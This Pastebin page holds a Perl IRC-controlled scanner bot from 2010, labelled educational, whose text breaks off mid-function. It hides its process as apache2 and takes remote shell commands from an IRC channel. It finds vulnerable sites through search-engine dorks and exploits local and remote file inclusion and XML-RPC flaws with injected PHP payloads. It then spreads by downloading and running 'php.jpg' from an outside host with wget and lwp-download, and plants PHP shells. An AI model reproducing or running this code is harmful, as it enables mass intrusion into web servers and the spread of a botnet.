Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //Hacking tutorial underground, cyber,security,sql inject,basic,ethical hacking
- //just on http://jok3d.blogspot.com/
- #!/usr/bin/perl
- $powered="BaMbY";
- $mail="admin(at)bamby.web.id";
- #####################################################################################
- ## ##
- ## 28/05/2010 ##
- ## Author : BaMbY ##
- ## Team : Irc.Byroe.Net ##
- ## WebSite : http://www.bamby.web.id ##
- ## Contact : admin(at)bamby.web.id ##
- ## ##
- ## ## IMPORTANT ## ##
- ## # ONLY FOR EDUCATIONAL PURPOSE. THE AUTHOR IS NOT RESPONSABLE OF ANY ##
- ## # IMPROPERLY USE OF THIS TOOL. USE IT AT YOUR OWN RISK !! ##
- ## # THIS TOOL HAS BEEN MADE TO HELP NET ADMINISTRATORS TO MAKE THEIR ##
- ## # SYSTEM MORE SECURE. ##
- ## ## ##
- ## ##
- ## Features: ##
- ## [+]Sql Injection Scanner ##
- ## [+]XML (Extensible Markup Language) Injection Scanner ##
- ## [+]Remote File Inclusion Scanner ##
- ## [+]Local File Inclusion Scanner ##
- ## [+]Integrated Shell, so you can execute commands on the server ##
- ## [+]Spread Mode, to activate or disable Spread Function ##
- ## ##
- #####################################################################################
- use HTTP::Request;
- use LWP::UserAgent;
- use IO::Socket;
- use IO::Select;
- use IO::Socket::INET;
- use Socket;
- use HTTP::Request::Common;
- use LWP::Simple;
- use LWP 5.64;
- use HTTP::Request::Common qw(POST);
- use Digest::MD5 qw(md5_hex);
- use MIME::Base64;
- my $fakeproc = "/usr/sbin/apache2 -k start";
- $ircserver = "irc.byroe.net";
- my $ircport = "7000";
- my $nickname = "nZScn";
- my $ident = "BaMbY";
- my $channel = "#scan";
- my $runner = "BaMbY";
- my $fullname = 'New Scanner ByroeNet';
- my $lfi = "!lfi";
- my $xml = "!xml";
- my $sql = "!sql";
- my $rfi = "!rfi";
- my $cmdlfi = "!cmdlfi";
- my $cmdxml = "!cmdxml";
- my $myste = "http://www.tempat-respon-dan-spreader.com/";
- my $lfispread = "cd /tmp;lwp-download ".$myste."php.jpg;perl php.jpg;rm -rf *.jpg*;wget ".$myste."php.jpg;perl php.jpg;rm -rf *.jpg*"; # Spread LFI
- my $xmlspread = "cd /tmp;lwp-download ".$myste."php.jpg;perl php.jpg;rm -rf *.jpg*;wget ".$myste."php.jpg;perl php.jpg;rm -rf *.jpg*"; # Spread XML
- my $rspo_test = "../../../../../../../../../../../../../../../proc/self/environ%00";
- my $rspo_shell = $myste."mysh.jpg?";
- my $rfispread = $myste."mysp.jpg?";
- my $rfiid = $myste."myid.jpg?";
- $SIG{'INT'} = 'IGNORE';
- $SIG{'HUP'} = 'IGNORE';
- $SIG{'TERM'} = 'IGNORE';
- $SIG{'CHLD'} = 'IGNORE';
- $SIG{'PS'} = 'IGNORE';
- chdir("/tmp");
- $ircserver="$ARGV[0]" if $ARGV[0];
- $0 = "$fakeproc"."\0"x16;;
- &SIGN();
- my $pid = fork;
- exit if $pid;
- die "\n [!] Something Wrong !!!: $!" unless defined($pid);
- our %irc_servers;
- our %DCC;
- my $dcc_sel = new IO::Select->new();
- $sel_client = IO::Select->new();
- sub sendraw {
- if ($#_ == '1') {
- my $socket = $_[0];
- print $socket "$_[1]\n";
- } else {
- print $IRC_cur_socket "$_[0]\n";
- }
- }
- sub connector {
- my $mynick = $_[0];
- my $ircserver_con = $_[1];
- my $ircport_con = $_[2];
- my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
- if (defined($IRC_socket)) {
- $IRC_cur_socket = $IRC_socket;
- $IRC_socket->autoflush(1);
- $sel_client->add($IRC_socket);
- $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
- $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
- nick("$mynick");
- sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
- sleep 1;
- }
- }
- sub parse {
- my $servarg = shift;
- if ($servarg =~ /^PING \:(.*)/) {
- sendraw("PONG :$1");
- } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
- my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
- if ($args =~ /^\001VERSION\001$/) {
- notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001");
- }
- if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
- my $natrix = $1;
- my $arg = $2;
- }
- }
- elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
- if (lc($1) eq lc($mynick)) {
- $mynick=$4;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- }
- } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
- nick("$mynick|".int rand(999));
- } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
- $mynick = $2;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
- sendraw("MODE $nickname +Bx");
- sendraw("JOIN $channel");
- sendraw("PRIVMSG $channel :Hello, I`m Ready To Scanner");
- sendraw("PRIVMSG $runner :Hi $runner im here !!!");
- }
- }
- my $line_temp;
- while( 1 ) {
- while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
- delete($irc_servers{''}) if (defined($irc_servers{''}));
- my @ready = $sel_client->can_read(0);
- next unless(@ready);
- foreach $fh (@ready) {
- $IRC_cur_socket = $fh;
- $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
- $nread = sysread($fh, $msg, 4096);
- if ($nread == 0) {
- $sel_client->remove($fh);
- $fh->close;
- delete($irc_servers{$fh});
- }
- @lines = split (/\n/, $msg);
- $msg =~ s/\r\n$//;
- if ($msg=~ /PRIVMSG $channel :!help/){
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Help15) 10 ################## Vuln Scanner ###################");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Help15) 10 # ( $rfi / $lfi / $sql / $xml ) [bug] [dork] #");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Help15) 10 ################# Execute Command #################");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Help15) 10 # ( $cmdlfi / $cmdxml ) [target] [ecex cmd] #");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Help15) 10 ################### md5 Command ###################");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Help15) 10 # !dec / !enc #");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Help15) 10 #################### BOT Info #####################");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Help15) 10 # !respon | !engine | !pid | !version | !about #");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Help15) 10 ###################################################");
- }
- if ($msg=~ /PRIVMSG $channel :!version/){
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Version15)10 Multi Scanner v2");
- }
- if ($msg=~ /PRIVMSG $channel :!engine/){
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Engine15)10 Google, Bing, AllTheWeb, Altavista, ASK, UOL, Yahoo.");
- }
- if ($msg=~ /PRIVMSG $channel :!pid/){
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3PID15)10 Process/ID : 4 $fakeproc - $$");
- }
- if ($msg=~ /PRIVMSG $channel :!about/){
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3About15)3 Multi Scanner v2");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3About15)3 Coded by BaMbY ");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3About15)3 Copyright © 2010 ByroeNet");
- }
- ##################################################################### CMD IRC
- if ($msg=~ /PRIVMSG $channel :!enc\s+(.*)/){
- my $enc = $1;
- &enc($enc);
- }
- if ($msg=~ /PRIVMSG $channel :!dec\s+(.*)/){
- my $dec = $1;
- &dec($dec);
- }
- if ($msg=~ /PRIVMSG $channel :!btjoin\s+(.*)/){
- my $cnls = $1;
- &join($cnls);
- }
- if ($msg=~ /PRIVMSG $channel :!btpart\s+(.*)/){
- my $cnls = $1;
- &part($cnls);
- }
- if ($msg=~ /PRIVMSG $channel :!btquit\s+(.*)/){
- my $cnls = $1;
- &quit($cnls);
- }
- if ($msg=~ /PRIVMSG $channel :!chweb\s+(.*)/){
- $newmyste = $1;
- $myste = $newmyste;
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Info15)3 Website response changed !");
- }
- if ($msg=~ /PRIVMSG $channel :!respon/){
- my $re = query($rfiid);
- if ( $re =~ /ByroeNet/ ) {
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Info15)3 Response is working !");
- }
- else {
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Info15)3 Response is 4NOT3 working !");
- }
- }
- if ($msg=~ /PRIVMSG $channel :!exec\s+(.*)/){
- my $cmd = $1;
- if ($msg =~ /cd (.*)/) {
- chdir("$1") || sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Shell15)3 Can't change dir !");
- return;
- }
- my @output = `$1`;
- foreach my $out(@output) {
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3Shell15)3 $out ");
- }
- exit;
- }
- ##################################################################### CMD LFI
- if ($msg=~ /PRIVMSG $channel :$cmdlfi\s+(.*?)\s+(.*)/){
- my $url = $1."../../../../../../../../../../../../../../../proc/self/environ%00";
- my $cmd = $2;
- &cmdlfi($url,$cmd);
- }
- #####################################################################
- ##################### LFI LFI LFI ###################
- ##################################################################### Google Engine
- if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "GooGLe";
- my $bugx = $1;
- my $d0rk = $2;
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3LFI15)10 Dork :4 $d0rk");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3LFI15)10 File :4 $bugx");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3LFI15)7 Search Engine Loading ...");
- &lfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### AllTheWeb Engine
- if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "AllTheWeb";
- my $bugx = $1;
- my $d0rk = $2;
- &lfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### Bing Engine
- if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "Bing";
- my $bugx = $1;
- my $d0rk = $2;
- &lfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### Altavista Engine
- if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "ALtaViSTa";
- my $bugx = $1;
- my $d0rk = $2;
- &lfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### ASK Engine
- if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "AsK";
- my $bugx = $1;
- my $d0rk = $2;
- &lfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### UoL Engine
- if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "UoL";
- my $bugx = $1;
- my $d0rk = $2;
- &lfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### Yahoo Engine
- if ($msg=~ /PRIVMSG $channel :$lfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "YahOo";
- my $bugx = $1;
- my $d0rk = $2;
- &lfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- #####################################################################
- ##################### XML XML XML ###################
- #####################################################################
- if ($msg=~ /PRIVMSG $channel :$cmdxml\s+(.*?)\s+(.*)/){
- my $url = $1;
- my $cmd = $2;
- &cmdxml($url,$cmd);
- }
- ##################################################################### GooGle Engine
- if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "GooGLe";
- my $bugx = $1;
- my $d0rk = $2;
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3XML15)10 Dork :4 $d0rk");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3XML15)10 File :4 $bugx");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3XML15)7 Search Engine Loading ...");
- &xmlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### AllTheWeb Engine
- if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "AllTheWeb";
- my $bugx = $1;
- my $d0rk = $2;
- &xmlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### Bing Engine
- if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "Bing";
- my $bugx = $1;
- my $d0rk = $2;
- &xmlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### Altavista Engine
- if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "ALtaViSTa";
- my $bugx = $1;
- my $d0rk = $2;
- &xmlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### ASK Engine
- if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "AsK";
- my $bugx = $1;
- my $d0rk = $2;
- &xmlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### UoL Engine
- if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "UoL";
- my $bugx = $1;
- my $d0rk = $2;
- &xmlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### Yahoo Engine
- if ($msg=~ /PRIVMSG $channel :$xml\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "YahOo";
- my $bugx = $1;
- my $d0rk = $2;
- &xmlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- #####################################################################
- ##################### RFI RFI RFI ###################
- ##################################################################### GooGle Engine
- if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "GooGLe";
- my $bugx = $1;
- my $d0rk = $2;
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3RFI15)10 Dork :4 $d0rk");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3RFI15)10 File :4 $bugx");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3RFI15)7 Search Engine Loading ...");
- &rfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### AllTheWeb Engine
- if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "AllTheWeb";
- my $bugx = $1;
- my $d0rk = $2;
- &rfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### Bing Engine
- if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "Bing";
- my $bugx = $1;
- my $d0rk = $2;
- &rfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### Altavista Engine
- if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "ALtaViSTa";
- my $bugx = $1;
- my $d0rk = $2;
- &rfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### ASK Engine
- if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "AsK";
- my $bugx = $1;
- my $d0rk = $2;
- &rfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### UoL Engine
- if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "UoL";
- my $bugx = $1;
- my $d0rk = $2;
- &rfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### Yahoo Engine
- if ($msg=~ /PRIVMSG $channel :$rfi\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "YahOo";
- my $bugx = $1;
- my $d0rk = $2;
- &rfiscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- #####################################################################
- ##################### SQL SQL SQL ###################
- ##################################################################### GooGle Engine
- if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "GooGLe";
- my $bugx = $1;
- my $d0rk = $2;
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3SQL15)10 Dork :4 $d0rk");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3SQL15)10 File :4 $bugx");
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3SQL15)7 Search Engine Loading ...");
- &sqlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### AllTheWeb Engine
- if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "AllTheWeb";
- my $bugx = $1;
- my $d0rk = $2;
- &sqlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### Bing Engine
- if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "Bing";
- my $bugx = $1;
- my $d0rk = $2;
- &sqlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### Altavista Engine
- if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "ALtaViSTa";
- my $bugx = $1;
- my $d0rk = $2;
- &sqlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### ASK Engine
- if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "AsK";
- my $bugx = $1;
- my $d0rk = $2;
- &sqlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### UoL Engine
- if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "UoL";
- my $bugx = $1;
- my $d0rk = $2;
- &sqlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- ##################################################################### Yahoo Engine
- if ($msg=~ /PRIVMSG $channel :$sql\s+(.*?)\s+(.*)/ ) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $engx = "YahOo";
- my $bugx = $1;
- my $d0rk = $2;
- &sqlscan($engx,$bugx,$d0rk);
- }
- exit;
- }
- }
- for(my $c=0; $c<= $#lines; $c++) {
- $line = $lines[$c];
- $line=$line_temp.$line if ($line_temp);
- $line_temp='';
- $line =~ s/\r$//;
- unless ($c == $#lines) {
- parse("$line");
- } else {
- if ($#lines == 0) {
- parse("$line");
- } elsif ($lines[$c] =~ /\r$/) {
- parse("$line");
- } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
- parse("$line");
- } else {
- $line_temp = $line;
- }
- }
- }
- }
- }
- ##################################################################### Procedure
- sub cmdlfi() {
- my $browser = LWP::UserAgent->new;
- my $url = $_[0];
- my $cmd = $_[1];
- my $hie = "j13mbut<?system(\"$cmd 2> /dev/stdout\"); ?>j13mbut";
- $browser->agent("$hie");
- $browser->timeout(3);
- $response = $browser->get( $url );
- if ($response->content =~ /j13mbut(.*)j13mbut/s) {
- print $1;
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3LFICMD15)4 $1");
- }
- }
- sub lfiscan() {
- my $engz = $_[0];
- my $bugz = $_[1];
- my $dork = $_[2];
- my $contatore = 0;
- if ($engz =~ /GooGLe/) {
- my @lfigoogle=&google($dork);
- push(@lfitotal, @lfigoogle);
- }
- if ($engz =~ /AllTheWeb/) {
- my @lfialltheweb=&alltheweb($dork);
- push(@lfitotal, @lfialltheweb);
- }
- if ($engz =~ /Bing/) {
- my @lfiBing=&Bing($dork);
- push(@lfitotal, @lfiBing);
- }
- if ($engz =~ /ALtaViSTa/) {
- my @lfialtavista=&altavista($dork);
- push(@lfitotal, @lfialtavista);
- }
- if ($engz =~ /AsK/) {
- my @lfiask=&ask($dork);
- push(@lfitotal, @lfiask);
- }
- if ($engz =~ /UoL/) {
- my @lfiuol=&uol($dork);
- push(@lfitotal, @lfiuol);
- }
- if ($engz =~ /YahOo/) {
- my @lfiyahoo=&yahoo($dork);
- push(@lfitotal, @lfiyahoo);
- }
- my @lficlean = &calculate(@lfitotal);
- if (scalar(@clean) != 0) {
- }
- my $uni=scalar(@lficlean);
- foreach my $lfitarget (@lficlean)
- {
- $contatore++;
- if ($contatore==$uni-1){
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3LFI15)(4@3$engz15)10 Scan Finish for14 $dork");
- }
- my $lfi = "../../../../../../../../../../../../../../..";
- my $xpl = "http://".$lfitarget.$bugz.$rspo_test;
- my $vuln = "http://".$lfitarget."12".$bugz."7".$rspo_test."";
- my $re = getcontent($xpl);
- if ($re =~ /DOCUMENT_ROOT=\// && $re =~ /HTTP_USER_AGENT/){
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my $rspo = lfiexploit($xpl,"uname -svnrp;echo J13mb0T;id");
- $rspo =~ s/\n//g;
- if ($rspo =~ /j13mb0t#(.*)J13mb0Tuid=(.*)#j13mb0t/sg) {
- my ($sys,$uid) = ($1,$2);
- my $tmp = "/tmp/cmd".int rand(2010);
- my $upload = lfiexploit($xpl,"wget $rspo_shell -O $tmp;$lfispread"); sleep(1);
- my $res = getcontent("http://".$lfitarget.$bugz.$lfi.$tmp.'%00');
- if ($res =~ /BaMbY/) {
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3LFI15)(4@3$engz15)15(13@12PHPSheLL15)4 http://".$lfitarget."12".$bugz."6".$lfi."7".$tmp."%00 15(7@3".$sys."15)");
- sendraw($IRC_cur_socket, "PRIVMSG BaMbY :15(4@3LFI15)(4@3$engz15)15(13@12PHPSheLL15)4 http://".$lfitarget."12".$bugz."6".$lfi."7".$tmp."%00 15(7@3".$sys."15)");
- }
- else {
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3LFI15)(4@3$engz15)15(13@12System15)4 http://".$lfitarget."12".$bugz."6[LFI] 15(7@3".$sys." 7uid=".$uid."15)");
- sendraw($IRC_cur_socket, "PRIVMSG BaMbY :15(4@3LFI15)(4@3$engz15)15(13@12System15)4 http://".$lfitarget."12".$bugz."6[LFI] 15(7@3".$sys." 7uid=".$uid."15)");
- }
- }
- else {
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3LFI15)(4@3$engz15)15(13@12Vuln15)4 ".$vuln." 15");
- sendraw($IRC_cur_socket, "PRIVMSG BaMbY :15(4@3LFI15)(4@3$engz15)15(13@12Vuln15)4 ".$vuln." 15");
- }
- } exit } sleep(3);
- }
- }
- }
- sub cmdxml() {
- my $jed = $_[0];
- my $dwa = $_[1];
- my $userAgent = LWP::UserAgent->new(agent => 'perl post');
- $exploit = "<?xml version=\"1.0\"?><methodCall>";
- $exploit .= "<methodName>test.method</methodName>";
- $exploit .= "<params><param><value><name>',''));";
- $exploit .= "echo'bamby';echo`".$dwa."`;echo'solo';exit;/*</name></value></param></params></methodCall>";
- my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);
- if ($response->content =~ /bamby(.*)solo/s) {
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3XMLCMD15)4 $1");
- }
- }
- sub xmlscan() {
- my $engz = $_[0];
- my $bugz = $_[1];
- my $dork = $_[2];
- my $contatore = 0;
- if ($engz =~ /GooGLe/) {
- my @xmlgoogle=&google($dork);
- push(@xmltotal, @xmlgoogle);
- }
- if ($engz =~ /AllTheWeb/) {
- my @xmlalltheweb=&alltheweb($dork);
- push(@xmltotal, @xmlalltheweb);
- }
- if ($engz =~ /Bing/) {
- my @xmlBing=&Bing($dork);
- push(@xmltotal, @xmlBing);
- }
- if ($engz =~ /ALtaViSTa/) {
- my @xmlaltavista=&altavista($dork);
- push(@xmltotal, @xmlaltavista);
- }
- if ($engz =~ /AsK/) {
- my @xmlask=&ask($dork);
- push(@xmltotal, @xmlask);
- }
- if ($engz =~ /UoL/) {
- my @xmluol=&uol($dork);
- push(@xmltotal, @xmluol);
- }
- if ($engz =~ /YahOo/) {
- my @xmlyahoo=&yahoo($dork);
- push(@xmltotal, @xmlyahoo);
- }
- my @xmlclean = &calculate(@xmltotal);
- if (scalar(@xmlclean) != 0) {
- }
- my $uni=scalar(@xmlclean);
- foreach my $xmltarget (@xmlclean)
- {
- $contatore++;
- if ($contatore==$uni-1){
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3XML15)(4@3$engz15)10 Scan Finish for14 $dork");
- }
- my $xpl = "http://".$xmltarget.$bugz;
- my $strona = getcontent($xpl);
- if ( $strona =~ /faultCode/ ) {
- xmlcek($xpl);
- xmlvuln($xpl);
- xmlxspread($xpl,$xmlspread);
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3XML15)(2$shellx15)14 $os ");
- sendraw($IRC_cur_socket, "PRIVMSG BaMbY :15(4@3XML15)(2$shellx15)14 $os ");
- }
- }
- }
- sub rfiscan() {
- my $engz = $_[0];
- my $bugz = $_[1];
- my $dork = $_[2];
- my $contatore = 0;
- if ($engz =~ /GooGLe/) {
- my @rfigoogle=&google($dork);
- push(@rfitotal, @rfigoogle);
- }
- if ($engz =~ /AllTheWeb/) {
- my @rfialltheweb=&alltheweb($dork);
- push(@rfitotal, @rfialltheweb);
- }
- if ($engz =~ /Bing/) {
- my @rfiBing=&Bing($dork);
- push(@rfitotal, @rfiBing);
- }
- if ($engz =~ /ALtaViSTa/) {
- my @rfialtavista=&altavista($dork);
- push(@rfitotal, @rfialtavista);
- }
- if ($engz =~ /AsK/) {
- my @rfiask=&ask($dork);
- push(@rfitotal, @rfiask);
- }
- if ($engz =~ /UoL/) {
- my @rfiuol=&uol($dork);
- push(@rfitotal, @rfiuol);
- }
- if ($engz =~ /YahOo/) {
- my @rfiyahoo=&yahoo($dork);
- push(@rfitotal, @rfiyahoo);
- }
- my @rficlean = &calculate(@rfitotal);
- if (scalar(@rficlean) != 0) {
- }
- my $uni=scalar(@rficlean);
- foreach my $rfitarget (@rficlean)
- {
- $contatore++;
- if ($contatore==$uni-1){
- sendraw($IRC_cur_socket, "PRIVMSG $channel :15(4@3RFI15)(4@3$engz15)10 Scan Finish for14 $dork");
- }
- my $rfixpl = "http://".$rfitarget.$bugz.$rfiid;
- my $rfispd = "http://".$rfitarget.$bugz.$rfispread;
- my $inj = "http://".$rfitarget."12".$bugz."7[PHP-SHELL]?";
- my $re = getcontent($rfixpl);
